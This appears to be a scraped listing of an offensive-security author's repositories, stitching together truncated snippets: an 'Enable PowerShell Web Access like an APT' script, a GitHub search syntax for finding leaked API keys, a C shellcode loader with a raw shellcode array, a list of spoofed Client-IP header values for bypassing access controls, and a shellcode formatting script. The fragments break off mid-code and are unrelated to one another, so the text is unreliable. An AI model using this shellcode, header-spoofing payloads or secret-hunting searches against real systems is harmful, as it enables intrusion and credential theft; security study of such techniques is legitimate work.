cossinadevil2k

Enable PowerShell Web Access like an APT

Ref: https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-241a

PowerShell:

# PrivCheck
if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) {
    Write-Warning "Please run this script as an Administrator!"
    Exit

GitHub Search Syntax for Finding API Keys/Secrets/Tokens

As a security professional, it is important to conduct a thorough reconnaissance. With the increasing use of APIs nowadays, it has become paramount to keep access tokens and other API-related secrets secure in order to prevent leaks. However, despite technological advances, human error remains a factor, and many developers still unknowingly hardcode their API secrets into source code and commit them to public repositories. GitHub, being a widely popular platform for public code repositories, may inadvertently host such leaked secrets. To help identify these vulnerabilities, I have created a comprehensive search list using powerful search syntax that enables the search of thousands of leaked keys and secrets in a single search.

Search Syntax:

(path:*.{File_extension1} OR path:*.{File_extension-N}) AND ({Keyname1} OR {Keyname-N}) AND (({Signature/pattern1} OR {Signature/pattern-N}) AND ({PlatformTag1} OR {PlatformTag-N}))

Examples:

**1.

	#include <windows.h>
	#include <wininet.h>
	#include <stdio.h>

	#pragma comment(lib, "wininet.lib")

	// notepad.exe shellcode
	char shellcode[] = {
	0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
	0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52,

	# -- mode: python ; coding: utf-8 --
	from PyInstaller.utils.hooks import collect_data_files
	from ultralytics import YOLO

	block_cipher = None
	ultra_files = collect_data_files('ultralytics')

	a = Analysis(
	['main.py'],
	pathex=[],

	Allow: CONNECT
	Allow: GET
	Allow: HEAD
	Allow: POST
	Allow: TRACE
	Client-IP: 0
	Client-IP: 0177.0000.0000.0001
	Client-IP: 0x7F000001
	Client-IP: 10.0.0.0
	Client-IP: 10.0.0.1

	#!/usr/bin/env python
	import sys
	if __name__ == "__main__":
	if len(sys.argv) < 2:
	print "usage: %s file.bin\n" % (sys.argv[0],)
	sys.exit(0)

	shellcode = "\""
	ctr = 1
	maxlen = 15

	import win32api
	import win32con
	import win32process
	import win32security
	import win32file # For CreateFile
	import ctypes
	from ctypes import wintypes
	import os
	import psutil